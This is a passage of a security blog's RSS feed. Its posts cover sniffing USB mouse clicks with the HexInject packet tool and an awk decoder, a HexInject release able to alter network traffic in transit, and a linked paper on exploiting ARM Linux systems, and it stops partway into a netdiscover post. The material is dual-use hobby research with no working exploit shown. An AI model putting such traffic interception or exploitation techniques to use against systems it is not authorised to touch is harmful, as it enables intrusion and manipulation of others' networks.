border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/284/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=284&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2011/09/21/letdown-and-http-dos-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>
	</item>
		<item>
		<title>Fun with HexInject and USB protocols</title>
		<link>http://securityadventures.wordpress.com/2011/06/02/fun-with-hexinject-and-usb-protocols/</link>
		<comments>http://securityadventures.wordpress.com/2011/06/02/fun-with-hexinject-and-usb-protocols/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 09:30:03 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Article/Research]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[hexinject]]></category>
		<category><![CDATA[hexinject USB]]></category>
		<category><![CDATA[USB injection]]></category>
		<category><![CDATA[USB mouse]]></category>
		<category><![CDATA[USB protocol]]></category>
		<category><![CDATA[USB sniffing]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=258</guid>
		<description><![CDATA[Did you know that pcap (http://www.tcpdump.org/) libraries can capture raw USB traffic? I had noticed several times the presence of various USB interfaces in wireshark but so far I&#8217;ve never tried to play with them: On your system should appear similar interfaces. If not you can refer to this guide: http://wiki.wireshark.org/CaptureSetup/USB In this short post [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=258&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Did you know that pcap (<a href="http://www.tcpdump.org/">http://www.tcpdump.org/</a>) libraries can capture raw USB traffic?</p>
<p>I had noticed several times the presence of various USB interfaces in wireshark but so far I&#8217;ve never tried to play with them:</p>
<p><a href="http://securityadventures.files.wordpress.com/2011/06/interfaces.png"><img class="aligncenter size-medium wp-image-259" title="various interfaces" src="https://securityadventures.files.wordpress.com/2011/06/interfaces.png?w=300&#038;h=188" alt="" width="300" height="188" /></a>On your system should appear similar interfaces. If not you can refer to this guide: <a href="http://wiki.wireshark.org/CaptureSetup/USB">http://wiki.wireshark.org/CaptureSetup/USB</a></p>
<p>In this short post I just want to talk about a simple experiment I did with <a href="http://hexinject.sourceforge.net/">hexinject</a> and <a href="http://www.gnu.org/software/gawk/manual/gawk.html">awk</a>: <strong>the recognition of mouse clicks</strong>.</p>
<div id="gt-res-content">
<p dir="ltr">The first thing to do is to find the port connected to the mouse. I&#8217;m sure there are more elegant systems to do it, but I just looked in wireshark at the <strong>port receiving packets when the mouse is moved</strong>. From the image you can easily tell that, in my case, it&#8217;s the USB port 3 (<strong>usbmon3</strong>).</p>
<div id="gt-res-content">
<p dir="ltr">Then we can try to sniff on this port, performing various actions with the mouse, to see if we can understand at least part of the protocol used.</p>
<p dir="ltr">Captured data in the case of a left mouse click:</p>
<pre>80 3A DF 2A 01 88 FF FF 43 01 81 02 03 00 2D 00 8D 43 E7 4D 00 00 00 00 AA 38 00 00 00 00 00 00 <em>06 00 00 00 06 00 00 00</em> 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 04 02 00 00 00 00 00 00 <strong>01</strong> 00 00 00 00 00
80 3A DF 2A 01 88 FF FF 53 01 81 02 03 00 2D 3C 8D 43 E7 4D 00 00 00 00 BD 38 00 00 8D FF FF FF 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 04 02 00 00 00 00 00 00</pre>
</div>
<p dir="ltr">Captured data in the case of a right mouse click:</p>
<pre>80 3A DF 2A 01 88 FF FF 43 01 81 02 03 00 2D 00 AB 43 E7 4D 00 00 00 00 A2 22 03 00 00 00 00 00 <em>06 00 00 00 06 00 00 00</em> 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 04 02 00 00 00 00 00 00 <strong>02</strong> 00 00 00 00 00
80 3A DF 2A 01 88 FF FF 53 01 81 02 03 00 2D 3C AB 43 E7 4D 00 00 00 00 B4 22 03 00 8D FF FF FF 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 04 02 00 00 00 00 00 00</pre>
<p dir="ltr">The first dumped line is generated by the mouse, the second is the system acknowledgment. The hexadecimal <strong>byte in bold represent the button</strong> pressed (use the scrollbar to reach the text). Bytes in <strong>italic allow us to understand the type of action</strong> performed (a button action and not a mouse movement).</p>
<p dir="ltr">Using these informations it&#8217;s very easy to write an awk script that can tell us the type of action performed:</p>
<pre><span style="color:#999999;">#</span>
<span style="color:#999999;"># Analyze USB mouse protocol</span>
<span style="color:#999999;"># and print button actions</span>
<span style="color:#999999;">#</span>
<span style="color:#999999;"># use with:</span>
<span style="color:#999999;">#   source_program | awk --enable-switch -f mouse_click.awk</span>
<span style="color:#999999;"># or sometimes just:</span>
<span style="color:#999999;">#   source_program | gawk -f mouse_click.awk</span>
<span style="color:#999999;">#</span>

<span style="color:#ff0000;">/06 00 00 00 06 00 .+ 0[0-9] 00 00 00 00 00$/</span> {

    <span style="color:#808080;"># button code check</span>
    <span style="color:#339966;">switch</span> (<span style="color:#3366ff;">$65</span>) {
        <span style="color:#339966;">case</span> <span style="color:#ff00ff;">"00"</span>: <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"click released"</span>;     <span style="color:#339966;">break</span>;
        <span style="color:#339966;">case</span> <span style="color:#ff00ff;">"01"</span>: <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"left click"</span>;         <span style="color:#339966;">break</span>;
        <span style="color:#339966;">case</span> <span style="color:#ff00ff;">"02"</span>: <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"right click"</span>;        <span style="color:#339966;">break</span>;
        <span style="color:#339966;">case</span> <span style="color:#ff00ff;">"03"</span>: <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"left+right click"</span>;   <span style="color:#339966;">break</span>;
        <span style="color:#339966;">case</span> <span style="color:#ff00ff;">"04"</span>: <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"central click"</span>;      <span style="color:#339966;">break</span>;
        <span style="color:#339966;">default</span>:   <span style="color:#339966;">print</span> <span style="color:#ff00ff;">"code "</span> <span style="color:#3366ff;">$65</span> <span style="color:#ff00ff;">" click"</span>; <span style="color:#339966;">break</span>;
    }

}</pre>
<p dir="ltr">Let&#8217;s try it:</p>
<pre>$ sudo hexinject -s -i usbmon3 | awk -f mouse_click.awk
left click
click released
central click
click released
left+right click
click released
...</pre>
<p dir="ltr">This successful experiment demonstrates the <em>extreme versatility of the &#8220;Data Oriented&#8221; approach</em> used by hexinject. In the future I hope to deepen the USB protocol and maybe write a post that uses hexinject in USB injection mode (really cool IMHO).</p>
<p dir="ltr">At the moment I haven&#8217;t a very in-depth knowledge of USB, but if you want to know the meaning of the rest of the dump can refer to this document: <a href="http://www.usb.org/developers/devclass_docs/HID1_11.pdf">http://www.usb.org/developers/devclass_docs/HID1_11.pdf</a>, or this tutorial (shorter): <a href="http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/14usb/FINAL%20VERSION/usb_protocol.html">http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/14usb/FINAL%20VERSION/usb_protocol.html</a>.</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/258/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/258/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/258/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=258&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2011/06/02/fun-with-hexinject-and-usb-protocols/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="https://securityadventures.files.wordpress.com/2011/06/interfaces.png?w=300" medium="image">
			<media:title type="html">various interfaces</media:title>
		</media:content>
	</item>
		<item>
		<title>Hexinject 1.2 released</title>
		<link>http://securityadventures.wordpress.com/2011/05/27/hexinject-1-2-released/</link>
		<comments>http://securityadventures.wordpress.com/2011/05/27/hexinject-1-2-released/#comments</comments>
		<pubDate>Fri, 27 May 2011 17:16:53 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Article/Research]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[hexinject]]></category>
		<category><![CDATA[injector]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[sniffer]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=251</guid>
		<description><![CDATA[HexInject version 1.2 has been released (http://hexinject.sourceforge.net/). Evvai! The release includes some minor fixes and a new feature: now the various length fields of IP, UDP, TCP, ICMP headers are automatically adjusted when the size of the packet in modified. Thanks also to the feature that allows the automatic checksum of packet, hexinject has no [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=251&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>HexInject version 1.2 has been released (<a href="http://hexinject.sourceforge.net/">http://hexinject.sourceforge.net/</a>). Evvai! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://securityadventures.files.wordpress.com/2011/05/hexinj.png"><img class="aligncenter size-medium wp-image-252" title="hexinject pseudo-logo" src="https://securityadventures.files.wordpress.com/2011/05/hexinj.png?w=300&#038;h=206" alt="" width="300" height="206" /></a>The release includes some minor fixes and a new feature: now the <strong>various length fields</strong> of IP, UDP, TCP, ICMP headers are <strong>automatically adjusted</strong> when the size of the packet in modified.</p>
<p>Thanks also to the feature that allows the automatic checksum of packet, hexinject has no<strong> longer limitation in altering network&#8217;s streams of data</strong>&#8230; But let&#8217;s do one step back, since you might not know what I&#8217;m talking about <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>From the site (<a href="http://hexinject.sourceforge.net/">http://hexinject.sourceforge.net/</a>):</p>
<p><em>&#8220;HexInject is a very versatile packet injector and sniffer, that provide a command-line framework for raw network access.</em><br />
<em> It&#8217;s designed to work together with others command-line utilities, and for this reason it facilitates the creation of powerful shell scripts capable of reading, intercepting and modifying network traffic in a transparent manner.&#8221;</em></p>
<p><a href="http://securityadventures.files.wordpress.com/2011/05/bridge.jpg"><img class="aligncenter size-medium wp-image-253" title="haxinject as software bridge" src="http://securityadventures.files.wordpress.com/2011/05/bridge.jpg?w=300&#038;h=119" alt="" width="300" height="119" /></a></p>
<p>Give a look to the site if you want to see some pratical uses of the tool&#8230; There&#8217;s also a <strong>PDF guide</strong> to hexinject that includes a lot of examples and some useful cheatsheets: <a href="http://hexinject.sourceforge.net/hexinject_introduction.pdf">http://hexinject.sourceforge.net/hexinject_introduction.pdf</a></p>
<h4>Something personal</h4>
<p>I do not know if the same is true for you, but I often need a bit of encouragement to finish my programs and researches.</p>
<div id="gt-res-content">
<p dir="ltr">Fortunately, I read some comments at the right time (<a href="http://www.reddit.com/r/netsec/comments/f78fb/regex_man_in_the_middle/.compact?sort=new">http://www.reddit.com/r/netsec/comments/f78fb/regex_man_in_the_middle/.compact?sort=new</a>):</p>
<p dir="ltr"><em>&#8220;HexInject is a lot of fun! &#8230; Running this next to tcptrack in a couple consoles makes me feel like I know what is going in my network.&#8221;</em></p>
<p dir="ltr"><em>&#8220;This may be one of my favorite new tools! Thanks for the idea!!&#8221;</em></p>
<p dir="ltr">How can these comments do not warm the heart?  <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  After reading these few lines, being a sentimental type, I&#8217;ve decided to release the new features (which would otherwise have remained in limbo for who knows how long)&#8230;</p>
<h4>Something historical</h4>
<p>HexInject was inspired by the tool <strong>linkcat</strong> of <strong>paketto keiretsu</strong> (<a href="http://freshmeat.net/projects/paketto/">http://freshmeat.net/projects/paketto/</a>).</p>
<p>This collection of instruments, issued in late 2002, <strong>contained many innovative ideas</strong>, including that of a low-level access to the network via a tool similar to cat. The objective was precisely to make it easy to use, piped with other cmdline tools.</p>
<p>Compared to linkcat, hexinject use more modern libraries and is able to automatically calculate the checksum and the size of packets, making it easier to use. But the basic ideas are the same.</p>
<p>For this reason <em>I suggest you to read the slides</em> presented at Defcon 11 by the author of paketto keiretsu (<a href="http://www.defcon.org/images/defcon-11/dc-11-presentations/dc-11-Kaminsky/dc-11-kaminsky.pdf">http://www.defcon.org/images/defcon-11/dc-11-presentations/dc-11-Kaminsky/dc-11-kaminsky.pdf</a>). Truly inspiring slides, imho&#8230;</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/251/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=251&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2011/05/27/hexinject-1-2-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="https://securityadventures.files.wordpress.com/2011/05/hexinj.png?w=300" medium="image">
			<media:title type="html">hexinject pseudo-logo</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2011/05/bridge.jpg?w=300" medium="image">
			<media:title type="html">haxinject as software bridge</media:title>
		</media:content>
	</item>
		<item>
		<title>Exploiting Arm Linux Systems</title>
		<link>http://securityadventures.wordpress.com/2011/02/23/exploiting-arm-linux-systems/</link>
		<comments>http://securityadventures.wordpress.com/2011/02/23/exploiting-arm-linux-systems/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 11:38:41 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Article/Research]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Networked devices]]></category>
		<category><![CDATA[ARM]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploiting arm linux systems]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=208</guid>
		<description><![CDATA[Wow, this last month has been pretty intense. Between trips, new articles and projects I haven&#8217;t had much free time (although I enjoyed this month). Exploiting Arm Linux Systems This was my first article dealing specifically with ARM processors (even though I had already played with ARM-based embedded things&#8230;) You can find the article at [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=208&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p id="gt-res-content">Wow, this last month has been pretty intense. Between trips, new articles and projects I haven&#8217;t had much free time (although I enjoyed this month).</p>
<h4>Exploiting Arm Linux Systems</h4>
<p>This was my first article dealing specifically with<strong> ARM processors</strong> (even though I had already <a title="Router Odissey" href="http://securityadventures.wordpress.com/2009/02/03/router-odissey/">played with ARM-based embedded things&#8230;</a>)</p>
<p>You can find the article at this address: <a href="http://www.exploit-db.com/download_pdf/16151">http://www.exploit-db.com/download_pdf/16151</a></p>
<p>The majority of ARM systems are vulnerable and not adequately protected against arbitrary code execution attacks. I&#8217;ve (tried to) brought together, in a single document, the <strong>knowledge required to approach the exploitation of ARM Linux systems</strong>.</p>
<div id="attachment_209" class="wp-caption aligncenter" style="width: 277px"><a href="http://securityadventures.files.wordpress.com/2011/02/retshell.png"><img class="size-medium wp-image-209" title="Return-oriented ARM shellcode" src="http://securityadventures.files.wordpress.com/2011/02/retshell.png?w=267&#038;h=300" alt="" width="267" height="300" /></a><p class="wp-caption-text">Return-oriented ARM shellcode</p></div>
<p>I assure you the article will not be a heavy read, because <strong>the chapters are full of examples, images and graphics</strong>.</p>
<p>A small digression: a friend of mine, has proposed me a t-shirt design. To appreciate the idea, one must have a basic knowledge of the ARM architecture:</p>
<div id="attachment_210" class="wp-caption aligncenter" style="width: 310px"><a href="http://securityadventures.files.wordpress.com/2011/02/shirt.png"><img class="size-medium wp-image-210" title="shirt" src="http://securityadventures.files.wordpress.com/2011/02/shirt.png?w=300&#038;h=243" alt="" width="300" height="243" /></a><p class="wp-caption-text">we all like dirty tricks...</p></div>
<p>(Or maybe are these words a veiled reproach? <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> )</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/208/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=208&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2011/02/23/exploiting-arm-linux-systems/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2011/02/retshell.png?w=267" medium="image">
			<media:title type="html">Return-oriented ARM shellcode</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2011/02/shirt.png?w=300" medium="image">
			<media:title type="html">shirt</media:title>
		</media:content>
	</item>
		<item>
		<title>Flux-for-back&#8230; Awesome!</title>
		<link>http://securityadventures.wordpress.com/2010/10/22/flux-for-back-awesome/</link>
		<comments>http://securityadventures.wordpress.com/2010/10/22/flux-for-back-awesome/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 10:22:51 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Various]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[brigante]]></category>
		<category><![CDATA[dragon]]></category>
		<category><![CDATA[flux-for-back]]></category>
		<category><![CDATA[fluxbox]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=196</guid>
		<description><![CDATA[Thanks to the time spent by Brigante on the project &#8220;Fluxbox for BackTrack&#8220;, a new desktop environment will be soon available for your favorite distribution. Results are not bad at all: As you know, FluxBox is a window manager very light on resources, so it&#8217;s perfect if you hate long loading times, or if you [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=196&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Thanks to the time spent by <a href="http://carlitobrigante.wordpress.com/">Brigante</a> on the project &#8220;<strong>Fluxbox for BackTrack</strong>&#8220;, a new desktop environment will be soon available for your favorite distribution. Results are not bad at all:</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/10/bt_fluxbox.png"><img class="aligncenter size-full wp-image-197" title="bt_fluxbox" src="http://securityadventures.files.wordpress.com/2010/10/bt_fluxbox.png?w=630&#038;h=457" alt="" width="630" height="457" /></a></p>
<p>As you know, <a href="http://www.fluxbox.org/">FluxBox</a> is a window manager very light on resources, so it&#8217;s perfect if you hate long loading times, or if you use a not very recent machine. Let me give you just a few tips, waiting its insertion into the repository&#8230;</p>
<p>To switch from KDE to Fluxbox and vice-versa, you should use <strong>Dragon</strong>, the new BackTrack command-line panel:</p>
<p style="text-align:center;"><a href="http://securityadventures.files.wordpress.com/2010/10/dragon-flux.png"><img class="aligncenter size-full wp-image-198" title="dragon-flux" src="http://securityadventures.files.wordpress.com/2010/10/dragon-flux.png?w=630" alt=""   /></a></p>
<p>To configure Fluxbox, the customized script <strong>flux-for-back</strong> is provided (but, if you want, you can also use <strong>Flux Menu</strong>. See the first screenshot&#8230;):</p>
<p style="text-align:center;"><a href="http://securityadventures.files.wordpress.com/2010/10/flux-conf.png"><img class="aligncenter size-full wp-image-199" style="display:block;margin-left:auto;margin-right:auto;" title="flux-conf" src="http://securityadventures.files.wordpress.com/2010/10/flux-conf.png?w=630" alt=""   /></a></p>
<p>Ok guys, stay tuned! <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/196/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/196/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/196/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=196&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2010/10/22/flux-for-back-awesome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/10/bt_fluxbox.png" medium="image">
			<media:title type="html">bt_fluxbox</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/10/dragon-flux.png" medium="image">
			<media:title type="html">dragon-flux</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/10/flux-conf.png" medium="image">
			<media:title type="html">flux-conf</media:title>
		</media:content>
	</item>
		<item>
		<title>NetDiscover (libnet purge)</title>
		<link>http://securityadventures.wordpress.com/2010/09/11/netdiscover-libnet-purge/</link>
		<comments>http://securityadventures.wordpress.com/2010/09/11/netdiscover-libnet-purge/#comments</comments>
		<pubDate>Sat, 11 Sep 2010 10:54:13 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Attack]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Various]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[libnet]]></category>
		<category><![CDATA[netdiscover]]></category>
		<category><![CDATA[netdiscover error libnet]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[purge libnet]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=184</guid>
		<description><![CDATA[Many of you know netdiscover (http://nixgeneration.com/~jaime/netdiscover/), which is, according to the site: &#8220;Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. It can be also used on hub/switched networks.&#8221; Netdiscover is very good tool, based on libpcap (http://www.tcpdump.org/) and libnet (http://sourceforge.net/projects/libnet-dev/). No problems with [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=184&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Many of you know netdiscover (<a href="http://nixgeneration.com/~jaime/netdiscover/">http://nixgeneration.com/~jaime/netdiscover/</a>), which is, according to the site:</p>
<p><em>&#8220;Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. It can be also used on hub/switched networks.&#8221;</em></p>
